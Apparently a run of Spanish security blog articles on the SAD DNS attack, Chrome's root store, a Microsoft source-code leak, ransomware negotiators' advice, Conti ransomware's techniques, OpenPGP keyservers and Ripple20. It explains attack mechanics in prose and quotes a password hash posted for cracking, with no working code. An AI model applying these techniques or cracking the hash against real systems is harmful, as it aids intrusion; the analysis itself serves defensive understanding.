libra la implementación de UDP en sí misma. Según el RFC, en un solo socket UDP, las aplicaciones pueden recibir en un mismo socket conexiones de diferentes IPs fuente. Las comprobaciones de a quién se le da qué, lo dejan en el RFC en manos de la aplicación que maneje la conexión entrante. Esto, que se supone que aplicaría a los servidores (son sockets que reciben), también aplica a los clientes. Así según los experimentos en el paper también aplica al cliente UDP que abre puertos para hacer consultas y, por tanto, facilita mucho el ataque, que permite escanear puertos “abiertos” para consultas con cualquier dirección IP de fuente. Y algo muy importante: ¿qué pasa si en la implementación de UDP la aplicación marca como “privado” un puerto UDP de respuesta de forma que solo el que inicia la conexión puede conectarse a él (y otros no puedan ver si está abierto o cerrado)? Esto supondría un problema para el primer paso del ataque en el que se falsifican las IPs de origen y agiliza el proceso. Abrir puertos “públicos” o “privados” depende del servidor DNS. Y solo BIND lo hace bien. Dnsmask, Unbound, no. En estos casos no se pueden falsificar las IP de las rachas (las que se usan para gastar el límite global y que te da igual recibir o no) sino que solo se puede falsificar las rachas con una sola IP origen. Esto haría el escaneo más lento. Pero no hay problema. Si no es así y los puertos son privados, también hay un fallo en Linux para “mitigarlo”. La comprobación del “límite global” se realiza antes de la cuenta del límite por IP. Esto, que en principio se hizo así porque comprobar el límite global es más rápido que el límite por IP, permite en realidad que no se tarde tanto y la técnica siga siendo válida aun con los puertos privados. El paper sigue con recomendaciones para forwardes, resolvers… todo un repaso profundo a la seguridad DNS. ¿Soluciones? Linux ya tiene preparado un parche, pero hay mucha tela de cortar. Desde el DNSSEC, que siempre se recomienda pero nunca termina de despegar, hasta desactivar las respuestas de ICMP… cosa que puede ser compleja. El parche del Kernel hará que ahora no haya un valor fijo de 1000 respuestas por segundo, sino aleatoria de entre 500 y 2000. El atacante así no podrá hacer sus cábalas correctamente para saber si en un segundo se ha gastado ese límite y deducir puertos UDP abiertos. Parece que el origen absoluto del problema es de implementación, no el diseño. En este RFC se describe ese límite de ratio de respuesta, y se deja abierto a un número. Elegirlo fijo y en 1000 como se hizo en el Kernel en 2014 es parte del problema. Por cierto, con este script de BlueCatLabs programado cada minuto, se podrá mitigar el problema en un servidor DNS haciendo a mano lo que hará el parche para SAD DNS. Esperemos entonces parches para todos: los sistemas operativos y los principales servidores DNS. Muchos servidores públicos ya están parcheados pero muchos más no. Resulta particularmente interesante en este ataque que es muy limpio para el atacante, no necesita estar en la red de la víctima. Puede hacerlo todo desde fuera y confundir a los servidores. Un desastre. O una bendición. Porque de esta, se arreglarán bastantes “cabos sueltos” en el protocolo UDP y DNS.

Todo se trata de confianza. Esta frase es válida en cualquier ámbito. El dinero por ejemplo no es más que un traspaso de confianza, porque obviamente, confiamos en que por un trozo de papel que físicamente no vale nada podemos conseguir bienes y servicios. La confianza en la navegación viene por los certificados raíz. En tanto en cuanto confiemos en ellos, sabremos que nuestra navegación no está siendo intervenida y podemos visitar e introducir datos en webs con ciertas garantías. Pero ¿en quién debemos confiar la elección de estos certificados raíz? ¿Confiamos en los que proporciona el navegador o en los que nos ofrece el sistema operativo? Google ha movido ficha y quiere tener su propio sistema de Root Store. En el principio fue el CAB/Forum Es el foro de entidades relevantes de Internet (principalmente CAs y navegadores). Se vota y se decide sobre el futuro del uso de certificados y TLS en general. O no. Porque ese año hemos asistido a cómo un fabricante relevante ha actuado independientemente del resultado de una votación y unilateralmente ha aplicado su propio criterio. En 2019 votaron si se debía reducir el tiempo de vida de los certificados TLS/SSL a un año. El resultado fue no. Pero no importó. Los navegadores tomaron la palabra. Safari en febrero de 2020 afirmó unilateralmente que marcaría como inválidos los certificados creados por más de 398 días a partir del 1 de septiembre. Firefox y Chrome le siguieron. La votación entre las partes implicadas (principalmente CAs y navegadores) no sirvió para nada. Otro ejemplo es cómo Chrome lideró en cierta forma el “deprecado” de los certificados que usaran SHA-1 siendo cada vez más agresivo estéticamente con la validez de estos certificados (aspas rojas, alertas...) y a veces sin estar alineados con los plazos marcados por el CAB/Forum. Nada malo de por sí, no debe malinterpretarse. Los navegadores pueden llegar a proporcionar cierta agilidad en las transiciones. El problema es que los intereses de las autoridades certificadoras, con un claro plan de negocio, no siempre coincide con el de los navegadores (representados por compañías con intereses a veces contrapuestos). Al final, parece que quien está más cerca del usuario tiene la sartén por el mango. De nada sirve que las CA decidan emitir certificados con duración superior a un año si el navegador que usa el 60% de los usuarios va a marcarlos como de no confianza. La popularidad, la cercanía con el usuario, redunda en un valor en sí mismo que Chrome y otros explotan (como ya hizo Internet Explorer en su tiempo) para poder imponer los “estándares”. Las Root Stores… Cada uno tenía la suya y ahora Chrome quiere una Windows siempre ha tenido un Root Store con los certificados raíz en los que confía. De él se alimenta Internet Explorer, Edge… Apple igual, Android también. El navegador más popular con su Root Store independiente era Firefox. Y esto a veces traía problemas. Que se lo digan a la FNMT y a la increíble historia de Firefox y su certificado raíz del que carecía hasta no hace mucho. También algo de polémica. En 2016 Firefox fue la primera en dejar de confiar en WoSign y StartCom por dudar de sus prácticas. El resto le siguieron en seguida. Por otro lado, en 2018, Apple, Google y Firefox dejaron de confiar en certificados Symantec. Para ello usaron el bloqueo tradicional (por varios medios) y no necesariamente dejándolos de incluir en su Root Store. En general, los navegadores movían ficha en este aspecto. Si Edge quería dejar de confiar en algo, Microsoft se encargaba en Windows. Si era Safari, Apple lo eliminaba del Root Store Mac y el iPhone. Si Chrome quería controlar en quién confiar, podía hacerlo en Android pero… ¿Y en Chrome sobre Windows, sobre Mac, iPhone… y en Chrome sobre Linux? Esa pieza le faltaba en el puzle y le hacía dependiente del criterio de un tercero. Ahora quiere su propia Root Store para no depender de nadie. En su estamento donde defiende el movimiento habla principalmente de que esto proporciona homogeneidad en las plataformas. No en todas, porque en concreto menciona que en iOS se le va a impedir este paso y por tanto, Chrome seguirá “tirando” del root store impuesto por Apple. Por lo demás, explica sus criterios de inclusión como certificado raíz de confianza (que en principio son los estándares). Y que por supuesto responderá ante incidentes que minen la confianza en la CA. Pero ¿por qué querer una Root Store? En 2019 Mozilla volvía a recordar por qué lo hacían ellos desde siempre y por qué era necesario: principalmente por “reflejar sus valores” (lo que otros pueden también traducir como “intereses”). Pero aparte de la homogeneidad que también menciona Mozilla, una frase en su explicación que da en el clavo es “In addition, OS vendors often serve customers in government and industry in addition to their end users, putting them in a position to sometimes make root store decisions that Mozilla would not consider to be in the best interest of individuals”. Lo que traducido significa: hay quien que se pliega a intereses políticos o del mercado. Y no queremos que eso repercuta en el usuario. En una palabra: desconfianza. Mozilla desconfía. También menciona el hecho de que el sistema operativo inserta certificados para analizar tráfico en su Root Store (como por ejemplo el antivirus), así no les afecta. Siempre anteponiendo las libertades individuales como ya hizo imponiendo el DoH y obligando en cierto modo a elegir entre seguridad y privacidad. ¿Y las motivaciones de Google? ¿Serán parecidas? Sobre el papel sí, quieren homogeneidad. Pero no olvidemos que sea quien sea el que lo controle, como sutilmente recordaba Mozilla, decidir sobre la Root Store independientemente del sistema operativo también permite elegir quién, en un momento dado, puede tener acceso al tráfico cifrado. Aparte de ser un dolor de cabeza para el administrador. Así que al final parece que es, de nuevo, cuestión de confianza… ¿o quizás desconfianza? Chrome, una vez maduro y con una gran influencia sobre el mercado, quiere que confiemos en ellos y en su política de acceso a la Root Store. A esto a su vez... (a la luz de las razones que exponía Mozilla) ¿no se podría interpretar como una ligera desconfianza hacia la plataforma donde Chrome se ejecuta? ¿No se trata de un paso más en el distanciamiento de las propias CAs? ¿Un intento al fin y al cabo de tener más control?

La atención se centraba hace unos días en Reddit, dentro de una comunidad que se caracteriza por sus teorías conspiranoicas. Según las noticias consistía en el filtrado de 43 GBs de datos de "Windows XP" pero, según el propio nombre del Torrent (más exacto), lo que se filtraba era“Microsoft leaked source code archive”, porque realmente contenía mucho más. Se trata de un compendio de filtraciones anteriores, documentos, documentales, imágenes… y sí, código fuente inédito. Más de la mitad del contenido lo componen en realidad todas las patentes de Microsoft, hasta 27 GBs comprimidos. Analicemos otras curiosidades. Análisis de directorios y ficheros Aquí os dejamos una panorámica de lo que se descarga: En la descripción del propio Torrent se deja claro. Incluidos en este Torrent están: MS-DOS 3.30 OEM Adaptation Kit (source code) MS-DOS 6.0 (source code) DDKs / WDKs stretching from Win 3.11 to Windows 7 (source code) Windows NT 3.5 (source code) Windows NT 4 (source code) Windows 2000 (source code) Windows XP SP1 (source code) Windows Server 2003 (build 3790) (source code) (file name is 'nt5src.7z') Windows CE 3.0 Platform Builder (source code) Windows CE 4.2 Shared Source (source code) Windows CE 5.0 Shared Source (source code) Windows CE 6.0 R3 Shared Source (source code) Windows Embedded Compact 7.0 Shared Source (source code) Windows Embedded Compact 2013 (CE 8.0) Shared Source (source code) Windows 10 Shared Source Kit (source code) Windows Research Kernel 1.2 (source code) Xbox Live (source code) (most recent copyright notice in the code says 2009) Xbox OS (source code) (both the "Barnabas" release from 2002, and the leak that happened in May 2020) En negrita hemos indicado lo más relevante puesto que, del resto, buena parte ya se conocía por filtraciones anteriores. Por ejemplo, en mayo de 2020 se filtró el código de la Xbox original y NT 3.5; en 2017, algunas partes de Windows 10; y en 2004, algunas partes de NT y 2000. Reproducimos aquí ese TXT completo justificando en qué consiste el Torrent. El apartado de PDFs no tiene desperdicio, más que nada por el valor de juntar tanta documentación y noticias sobre revelaciones de código. Un misterioso RAR cifrado El leak contiene un RAR cifrado (Windows_xp_source.rar), y la propia persona que lo incluye apela a la comunidad para intentar descifrar la contraseña. "Including 'windows_xp_source.rar' in this collection, even though it's password protected. Maybe someone can crack (or guess) the password and see what's inside. The archive is bigger than the other XP / Neptune source tree. It might be genuine, it might not. But I'm including it just in case, since the file was so hard to track down. Original upload date seems to have been around 2007 or 2008. The hash key is: $RAR3$*0*c9292efa2e495f90*044d2e5042869449c10f890c1cced438" ¿Es esto relevante? Lo importante, por tanto, y parece que nuevo, es el código fuente del kernel 5 de 2003 y compartido en buena parte también por XP. Nt5src.7z, que son aproximadamente 2.4 gigabytes y que descomprimido alcanza cerca de 10 GB. Al parecer el código es muy completo, pero no se sabe si contiene lo suficiente como para compilarlo. La inmensa mayoría de los ficheros están fechados el 2 de septiembre de 2002. El Service Pack salió oficialmente el día 9. Con respecto a si este leak supone una amenaza para seguridad, ayudará a detectar o analizar más rápidamente potenciales vulnerabilidades que todavía se conserven en Windows 10 por su código heredado. Los atacantes podrán, una vez identificado una oportunidad de fallo, entender mejor por qué se produce si acuden a la porción de código en claro. Y no sólo las partes heredadas en Windows 10. Windows XP y 2003 en sí mismos todavía se encuentran en una buena parte de sistemas importantes. Claro que desde 2014 que se detuvo el soporte, los administradores tienen otros problemas añadidos si aún mantienen este sistema. Pero esto lo puede agravar. No demasiado, pero es importante. En todo caso, cualquier investigador que buscara vulnerabilidades en el código, comenzaría por los comentarios… donde los programadores reflejan dudas, temores y... potenciales grietas. Una simple búsqueda por “WARNING:” nos da alguna idea interesante de qué cosas pueden fallar en el código, según los propios programadores. Algunas no dejarán de ser curiosidades y otros podrían verse como potenciales problemas de seguridad. Ponemos aquí algunos ejemplos. No comprueba el búfer... Podría romperlo todo... Es difícil de mirar... Jamás rompas la compatibilidad hacia atrás... Overflow... Esto no me gusta pero... La cadena JlJmIhClBsr No queríamos dejar pasar el recordar que en el código relacionado con la compartición de ficheros, se encuentra la cadena JlJmIhClBsr, algo curioso que puede indicar que la NSA ya tenía acceso al código de Windows (esto no sería nada raro) pero que además da a entender que cometió un despiste a la hora de crear el exploit de EnternalBlue. Porque al incluir esa cadena, que se encontraba en el código fuente no se sabe muy bien por qué, estaba añadiendo (sin ser consciente) una especie de firma IDS muy relevante para saber si alguien estaba siendo atacado por el exploit de EternalBlue. Esto es muy curioso porque además implicaría que la NSA creó el exploit fijándose o adaptando el código fuente directamente. Cuando se hizo público el exploit, WannaCry, creado bajo la base de EternalBlue, también heredó esa cadena. Sin embargo, la cadena no sirve para nada y cuando se portó a Metasploit se eliminó sin más. En su día, ya investigamos y comprobamos que en realidad esta cadena JlJmIhClBsr solo tendría una utilidad: servir perfectamente como una firma o marca para detectar el ataque por red. Un despiste por parte de la NSA. Parte del código de svrcall.c

Todos conocemos las recomendaciones de seguridad que ofrecen los profesionales para protegerse del malware. Habitualmente: utilizar el sentido común (personalmente, uno de los consejos menos aplicables y abstractos que se pueden dar), usar un antivirus, un cortafuegos (?)… Todo buenas intenciones que no resultan prácticas, muy repetidas pero poco eficaces. Los usuarios y empresas siguen infectándose. Por tanto, ¿y si, para variar, escuchamos a los propios creadores de ransomware? ¿No es posible que tengan una visión más práctica y realista de lo que hay que hacer para evitar su propio ataque? ¿Cuáles son sus recomendaciones contra ellos mismos? En primer lugar hay que diferenciar entre ransomware casero y ransomware profesional. En el primero, el objetivo es el ordenador aleatorio de cualquier individuo, le puede tocar al que no tome medidas. El segundo es el ransomware desarrollado con una empresa concreta como objetivo. Los atacantes se pasarán meses planeando el ataque, probablemente semanas dentro de la red y en unos minutos cifrarán todo lo que puedan para pedir un rescate millonario. Y una vez afectado, poco se puede hacer. Garmin ha pagado hace poco y así lo ha hecho también CWT, una empresa de Estados Unidos de gestión de viajes de negocios y eventos que acaba de pagar 4.5 millones de dólares por descifrar sus propios datos. El trato con el atacante negociador ha sido por chat y se ha hecho público. De la transcripción se desprende la gestión de un negocio cualquiera entre profesionales. Vamos a detenernos en las recomendaciones que hacía el negociador “malo” al representante de CWT y analizar su efectividad. Recomendaciones anti ransomware Cabe destacar que son recomendaciones de los propios atacantes y para ayudar a empresas grandes atacadas por ransomware profesional. Vamos con ellas y analicemos si son adecuadas. Listado recomendaciones. Fuente: Twitter Jack Stubb s Deshabilitar las contraseñas locales En sistemas y servidores controlados por Controlador de Dominio, es buena idea no utilizar usuarios locales y centrarse en los del controlador de dominio. Esto permite mejorar la trazabilidad y reducir la exposición. Buena recomendación. Forzar la finalización de sesiones de administradores Cuando los atacantes se encuentren ya en la red a su anchas, intentarán escalar a administrador de dominio y abrirán sesiones con él, de lo contrario, no podrán cifrar todo lo importante y los respaldos. Es una buena idea que estas sesiones terminen, tengan caducidad y se encuentren totalmente monitorizadas. Evitar que WDigest (Digest Authentication) usado en LDAP, almacene las contraseñas en memoria El atacante aquí se refiere, veladamente y casi seguro, a Mimikatz y cómo muy probablemente recupera la contraseña de administrador de controlador de dominio y escala privilegios gracias a esta herramienta. Si se configura cierto valor de Windows a cero, no podrán ver la contraseña en claro y la elevación se les complicará a los atacantes. Excelente recomendación. Actualizar las contraseñas cada mes Hay mucha controversia con esto de actualizar las contraseñas. Para los usuarios es un tedio actualizar cada mes y terminan por apuntarlas o seguir un patrón. Pero para los administradores (que es donde apunta este delincuente) tiene sentido. Puede que los atacantes pasen más de un mes en una red sin revelarse, estudiando cuándo es el mejor momento de lanzar el ataque más eficaz. Cambiarles las contraseñas, que probablemente ya hayan averiguado, puede forzarles a replantear el ataque y puede que deshaga buena parte de su trabajo. Interesante recomendación. Reduce los permisos de usuarios para que accedan a lo imprescindible Bueno, esta es una recomendación habitual. También referida muy probablemente a cómo los atacantes consiguen, desde un usuario raso, elevar privilegios gracias a los descuidos en la segmentación de permisos y privilegios. Applocker y el uso de las aplicaciones necesarias Este es el sueño de todo administrador de red: poder tener una lista blanca de aplicaciones que los usuarios pueden correr y desentenderse del resto. Con AppLocker, ya integrado en Windows, sería suficiente. Funciona muy bien y permite limitar por certificado, localización, etc. Los atacantes no podrían descargar sus herramientas y lanzarlas para poder elevar privilegios. Es una medida excelente que resulta compleja de llevar a la realidad, aunque no imposible. No cuentes con los antivirus a corto plazo Bueno, lamentablemente, esto ya lo hemos explicado en muchas ocasiones. El antivirus (como tal) no es la mejor solución para la detección temprana. “No cuentes con ellos”. Aquí el atacante afirma que los antivirus podrían servir en el largo plazo, como algo reactivo. Y lamentablemente lleva razón, los antivirus como tal, son un elemento reactivo y ahí es donde mejor funcionan: como un sistema de detección y erradicación de una infección cuando ya ha ocurrido. Para prevenir, lo razonable es usar un conjunto de medidas mucho más amplio. Además, matiza, que el antivirus solo sirve si el atacante “por alguna razón no ataca en el corto plazo”. Da a entender que los atacantes profesionales pocas veces son impulsivos. Se toman su tiempo para analizar a la víctima y golpear eficazmente. Instala un EDR (EndPoint Detection and Response) y que los técnicos sepan trabajar con él Un EDR es más que un antivirus, efectivamente está destinado a la detección temprana, al análisis de lo que ocurre en el sistema en tiempo real, más allá de las tradicionales firmas del antivirus. Y sí, eso puede ser útil. Pero la sutiliza que añade el atacante es interesante: no solo que los usen sino que también “los técnicos trabajen con él”. Como cualquier software, no sirve de nada montar el EDR si no se configura bien, se conoce, se trabaja y se monitoriza correctamente. Trabajar las 24 horas del día Para las empresas grandes, el atacante recomienda tres turnos de ocho horas para los administradores, cubriendo así las 24 horas del día. Esto implica que muy probablemente los atacantes busquen momentos en los que los administradores no se encuentren trabajando para lanzar los ataques, movimientos laterales o elevaciones de privilegios. Si lo consiguen sin que salten las alarmas (y sean revisadas), luego pueden borrar las huellas. Así que turnos completos de “vigilancia humana” tienen su importancia. Conclusiones Teniendo en cuenta que acaban de cobrar 4.5 millones de dólares por un rescate que ellos mismos han provocado, el atacante pertenece sin duda a un grupo profesional que sabe lo que hace. Las recomendaciones parecen sinceras y, aunque parezca contraproducente, orientadas a entorpecer su propio trabajo. ¿Por qué desvelar estos trucos? Se lo comunica a su víctima (que recordemos acaba de pagar) y solo a ella como un acto de profesionalidad. Han terminado una transacción entre “profesionales” por un servicio y le da un “bonus” de información. Como el fontanero que tras arreglar una obstrucción de la tubería te asesora antes de irse, mientras te extiende la factura, sobre cómo evitar que se atasque de nuevo el lavabo. Ningún fontanero negaría este pequeño consejo por pensar que pierde oportunidades con ello. Al contrario, como buen profesional, el atacante necesita generar confianza porque la próxima vez que ataque a una empresa grande y exija algunos millones, quiere que se sepa que pagarles es la mejor opción para recuperar los datos. Trata bien a tus clientes presentes y futuros… aunque sean víctimas. Pero aunque se hayan filtrado estos consejos, suponemos que les da un poco igual. Ahí fuera hay miles de grandes empresas que no harán caso. Por desconocimiento o falta de recursos, pero seguirán siendo víctimas potenciales. Los atacantes pueden permitirse el lujo de aconsejar cómo impedir que ataquen ellos mismos y aun así, seguir disfrutando de una superficie de ataque suficiente como para mantener un negocio próspero.

Quien piense que el ransomware “de menudeo” que infecta a usuarios y pide un rescate es un peligro, quizás es que no conoce el ransomware utilizado contra las redes de las compañías, porque tras unos años entre nosotros, el ransomware ha madurado. Se ha industrializado, especializado y sofisticado contra unas víctimas mucho más lucrativas, y de qué manera. Conti, el más rápido de los ransomware, es sólo un ejemplo de cómo están evolucionado. Veamos qué trucos utiliza y por qué. Ha sido Carbon Black quien ha analizado una nueva versión de Conti, descubriendo nuevos niveles de sofisticación. Porque donde está la acción y la verdadera innovación en el malware es en los ataques dirigidos a empresas. Estos ataques entran a través de mensajes de correo con adjuntos, habitualmente Excel o Word con macros o que aprovechan vulnerabilidades de Office. Realizan movimientos laterales hasta situarse en un servidor donde se “agazapan” esperando su oportunidad. Desde ahí lanzan ataques de secuestro de datos y piden rescates millonarios para que la compañía continúe con su operativa. En comparación, el ransomware “casero” que afecta a los sistemas de usuario prácticamente es una broma pesada. Veamos en qué han innovado estos atacantes y por qué. El más rápido del Oeste Conti utiliza 32 hilos simultáneos de CPU. Esto permite que cifre muy rápido todo el disco duro o cualquier fichero que se le ponga delante. Sería como lanzar 32 copias de un ransomware “normal” en paralelo. ¿Por qué hacen esto, para qué quieren ir tan rápido? Suelen lanzar este ataque cuando ya están en uno de esos servidores potentes en la red de la compañía con bastantes privilegios (normalmente el controlador de dominio local). El sistema se presupone potente en CPU y capaz de lanzar todas esas hebras. También permite atacar a sistemas con un gran disco duro, con muchos datos (también de backup). Cuanto más rápido es el ransomware, antes puede pasar desapercibido ante cualquier sistema de alerta, desde los reactivos hasta los preventivos. Siempre será demasiado tarde. Tira la piedra y esconde la mano Otra característica interesante de Conti es que, de nuevo "agazapado" en un servidor, puede atacar a la red colindante y cifrar las unidades compartidas de sistemas vecinos. De este modo, los administradores de red no sabrán de dónde les viene el ataque porque lo natural es pensar que la máquina con los ficheros cifrados es la infectada. Nada de eso: el paciente cero puede andar muy lejos, lanzando cifrados muy rápidos a diestro y siniestro. Evita hacer ruido usando ARP Para saber qué máquinas se encuentran a tu alrededor, tienes dos opciones: analizar las IPs de la propia red y recorrer el rango o usar un ARP-a y saber con qué máquinas has contactado recientemente. Esto último es justo lo que hace Conti. Para Conti, un fichero bloqueado no es un problema Si estás en un servidor con una base de datos jugosa, normalmente sus datos estarán siempre “bloqueados” por el sistema operativo o la propia base de datos. Cifrarlos será imposible porque no puedes tocar un fichero que pertenece a un proceso que lo tiene en exclusiva. Desde el punto de vista de los atacantes ¿Cómo cifrarlo entonces? Primero Conti mata cualquier proceso que tenga “sql” en su nombre. Muy pocas familias utilizan además el truco que usa este ransomware para cifrar los archivos, que es valerse del Restart Manager, la fórmula que utiliza el propio Windows para matar limpiamente los procesos antes de apagar el sistema operativo. Es como si matara procesos limpiamente como si fuera Windows antes de reiniciar, pero sin necesidad de reiniciar. Y aquí es donde también hace falta velocidad y la razón de tener 32 hebras. Matar un proceso crítico es muy ruidoso, los administradores se darán cuenta enseguida de que algo va mal. Desde el punto de vista del malware, si tienes un buen montón de ficheros pesados por delante, lo mejor es cifrarlos rápido tras matar al proceso padre si quieres conseguir tu objetivo. Cifra todas las extensiones menos exe, dll, lnk, y sys Conti es muy agresivo. La mayoría del ransomware “casero” busca extensiones potencialmente valiosas para la víctima. Documentos, fotografías, datos, etc. Conti lo cifra todo menos los ejecutables, binarios y drivers. Para agilizar, evita algunos directorios de sistema. Por supuesto, todo esto no impide que el ransowmare cuente con las tecnologías habituales para este tipo de ataques. Desde el borrado de las shadow copies (aunque de forma especial) hasta las claves púbicas que cifran la clave AES de 256 bits incrustada en cada fichero cifrado. Por último, el mérito del análisis de esta muestra es mayor cuando se conoce que ofusca su propio código de una manera especial. Conti intenta ocultar cada string, cada llamada a API de sistema usando un algoritmo diferente para ello con claves diferentes... y así hasta 277 funciones (algoritmos) usados internamente solo para desofuscarse a sí mismo on the fly.

Hace un año, OpenPGP sufría un problema de vandalismo en sus servidores de claves. El sistema agonizaba y necesitaba un cambio que no resultaba trivial sin traicionar unos principios basados en una Internet de los 90 y que resultan ingenuos a ojos de hoy. Hace poco, una simple anécdota revela de nuevo unas graves carencias, un anacronismo impropio de las redes actuales. Una voluntad inquebrantable pero incapaz de adaptarse a los nuevos tiempos que sigue buscando a Kristian desesperadamente. ¿Qué ha pasado? Los key servers (SKS) son básicos en la infraestructura OpenPGP. Se ocupan de que podamos localizar las claves públicas de las personas. Permiten que se incorporen al sistema, jamás se pierdan y se repliquen para ofrecer disponibilidad. Para interactuar con ellos se usa el protocolo OpenPGP HTTP Keyserver protocol o HKP. A través del puerto 11371 se pueden subir y buscar claves. Los servidores públicos nunca han funcionado del todo bien y arrastran demasiadas carencias. Para probarlo, basta con conectarse a cualquier sistema de claves (como podría ser https://pgp.mit.edu) y buscar claves. Después de varios errores de servidor (y de adaptar el ojo a la estética noventera), quizás tendrás la respuesta. Sucede igual con https://keys.gnupg.net, https://pgp.key-server.io o cualquier otro. Servidores poco fiables y poco mantenidos son la base de la criptografía pública. HKP sobre TLS se llama HKPS. El servidor hkps.pool.sks-keyservers.net se encarga del pool de servidores HKPS, los aglutina, dispone y “ordena” desde el punto de vista DNS para que se conozcan y coordinen. Para pertenecer al pool, los servidores deben estar validados y certificados por una CA propia que permite su comunicación cifrada. Esta CA la mantiene una sola persona de forma manual desde hace más de 10 años: Kristian Fiskerstrand. A Todd Fleisher, que maneja uno de esos servidores, se le caducó ese certificado que le permitía comunicarse con el central y permanecer en el pool y por tanto, coordinado con el resto de servidores. Buscó a Kristian “desesperadamente” durante un mes. El tiempo corría en su contra. No daba señales de vida ni por correo ni por redes sociales. Finalmente, le caducó el certificado y tuvo que sacar uno en Let’s Encrypt sólo para seguir cifrando las comunicaciones a sabiendas de que el pool hkps.pool.sks-keyservers.net no se fiaría de él, pero al menos le permitía seguir operando sin sincronizarse. Al poco, Kristian respondió: sin muchas explicaciones, había estado en otros asuntos en el último mes. Renovó el certificado. Si hubiera tardado algo más, habrían caducado el resto de servidores y el pool los hubiera ignorado. ¿Por qué ha pasado? Porque un punto crítico centralizado (que permite el uso descentralizado de OpenPGP) está en manos de una sola persona que voluntariamente lo mantiene. Algo de otra década (que ni siquiera es la pasada) propenso a errores, fallos y dependiente de buenas voluntades. Romántico pero poco práctico. Nos encanta el software libre, pero no olvidemos que también requiere financiación para que no sólo una persona, sino un equipo, pueda dedicarle el tiempo correspondiente. Porque hablamos de un sistema de cifrado libre y gratuito, cuyo abuelo fue el estandarte del cypherpunk de los noventa y por el que peleó Phil Zimmerman. Recordemos que hasta el año 2000 estaba muy limitada la exportación de criptografía fuera de Estados Unidos. Éste no es el único problema de OpenPGP. Thunderbird, un clásico que ha pasado por todo tipo de problemas (Mozilla quiso deshacerse de él un tiempo para centrar sus esfuerzos en Firefox) dio buenas noticias. En octubre de 2019 Mozilla anunció que quería añadir soporte nativo OpenPGP a su cliente de correo Thunderbird. Esto implicaba prescindir de su extensión Enigmail, la reina para la gestión de S/MIME y OpenPGP en el correo. Este hecho sacaba a la luz algunas realidades del mundo del software que, en el ámbito del código libre y abierto, sorprenden quizá más por las expectativas generadas. Enigmail funciona casi de milagro. Esto quiere decir que la interfaz de Enigmail usa llamadas a líneas de comando y recoge el resultado que redibuja en Thunderbird, con todos los problemas que puede conllevar. Desde luego no es la situación ideal, pero así se ha hecho durante muchísimos años y no ha surgido nada mejor. Enigmail es un proyecto de unas pocas personas en su tiempo libre que vive de donaciones. Lo han mantenido durante más de 15 años y, cuando saben que van a tener que matarlo, incluso se ofrecen a ayudar al equipo de desarrollo de Thunderbird a conseguir la integración. Aun así, Thunderbird ha tenido que enfrentarse a problemas de licencias para incorporar cifrado en su cliente de forma nativa, pero había una condición: si el esfuerzo hacía que Mozilla perdiera foco en Firefox, no merecería la pena. Pero parece que ya casi está integrado. Podemos ver este mensaje en las últimas versiones de Thunderbird: Esto básicamente significa que no han podido compatibilizar ambos sistemas durante un tiempo, ni Enigmail ni el nuevo sistema integrado van bien en las últimas versiones. No les ha dado tiempo. Así que toca elegir una versión desactualizada de Thunderbird si se quiere utilizar OpenPGP con Enigmail durante un periodo. ¿Qué más va a pasar? Un sistema crítico no puede sostenerse gracias a buenas voluntades. Hace falta masa crítica de uso (más allá de la promoción), inversión (y no sólo donaciones), colaboraciones (más allá de las buenas palabras), infraestructuras y personas. Sobre todo personas. No se puede depender de, literalmente, un técnico para una parte crítica del sistema porque pone en juego toda su funcionalidad. El software libre no puede estar buscando a Kristian desesperadamente.

En este caso, nos encontramos con que Ripple20 afecta a la implementación de la pila TCP de miles de millones de dispositivos IoT. Se habla de ataques 0-Day pero no lo son (no hay constancia de que hayan estado siendo aprovechadas por atacantes), y además una parte de ellas ya ha sido arreglada antes de ser anunciada. Pero no por ello estas vulnerabilidades son menos graves. Ante tal cantidad de dispositivos expuestos, ¿se ha vuelto a romper Internet? Lo anunciaba el Department of Homeland Security y el CISA ICS-CERT. Se trata de 19 problemas de todo tipo en la implementación de la pila TCP/IP de la compañía Treck. Como esta implementación proporciona o licencia a infinidad de marcas (casi 80 identificadas) y dispositivos IoT, los afectados son, efectivamente, miles de millones. Y, por su propia naturaleza, muchos de ellos ni siquiera serán parcheados nunca. ¿Qué ha pasado? La compañía JSOF ha hecho un minucioso análisis de la pila y ha encontrado problemas de todo tipo. Una escrupulosa auditoría que inevitablemente ha encontrado cuatro vulnerabilidades críticas, muchas graves y otras menores. Podrían permitir desde el control absoluto del dispositivo hasta el envenenamiento del tráfico, pasando por la denegación de servicio. Las razones para el optimismo es que han creado un logo y un nombre atractivo para los fallos y han reportado las vulnerabilidades de manera privada, por lo que muchas ya han sido solucionadas por Treck y otras empresas que usan su implementación. Las razones para el pesimismo son que otras no se han solucionado, y que es complicado rastrear las marcas y modelos afectados (66 marcas están pendientes de confirmar). En todo caso, otro dato importante a destacar es que estos dispositivos suelen encontrarse precisamente en plantas industriales, hospitales y otras infraestructuras críticas en los que una vulnerabilidad grave podría tener consecuencias horribles. Así que sólo queda auditar, comprender y mitigar el problema caso a caso para saber si un sistema está realmente en peligro. Algo que ya debería hacerse bajo un plan de seguridad maduro (del que no deben estar exentos los entornos OT) pero que en todo caso podría servir de acicate para lograrlo. Porque son fallos graves, públicos y en las entrañas de dispositivos usados para operaciones críticas… Una verdadera espada de Damocles. En todo caso, ya se conocen y por tanto, es posible protegerse o mitigar el problema, como ya ha ocurrido en el pasado ante otros graves problemas que han afectado a millones de dispositivos conectados. Con ellos parecía que Internet se iba a romper pero, a pesar de todo, seguimos adelante. Y no porque no hayan sido graves (o incluso, probablemente, aprovechados por terceros), sino porque se supo responder a ellos en tiempo y forma. No hay que restarles importancia, sino precisamente seguir otorgándosela para que no la pierdan, pero huyendo siempre de titulares catastrofistas. Repasemos algunos casos históricos. Otros “apocalipsis” en ciberseguridad Ya se han dado otros casos de catástrofes que afectarían a la red tal y como la conocemos y sobre los que se han escrito numerosos titulares pesimistas. Veamos algunos ejemplos: El primero en llegar a las masas fue el “Efecto 2000”, que aunque no contó con logotipo oficial desde el principio, sí que disfrutó de una marca propia (Y2K). Eran otros tiempos y al final quedó en una especie de decepción apocalíptica que se sació con mucha literatura y algunos telefilmes. El apocalipsis criptográfico de Debian en 2008: se eliminó en 2006 una línea de código en el paquete OpenSSL que ayudaba a generar la entropía al calcular el par de claves pública y privada. Las claves generadas con él ya no eran realmente fiables o verdaderamente seguras. Kaminsky y los DNS en 2008: fue un fallo inherente al protocolo, no un problema de implementación. Dan Kaminsky lo descubrió sin ofrecer detalles. Thomas Dullien se aventuró semanas después a publicar en su blog su particular visión de lo que podía ser el problema y acertó: era posible falsificar (a través del envío 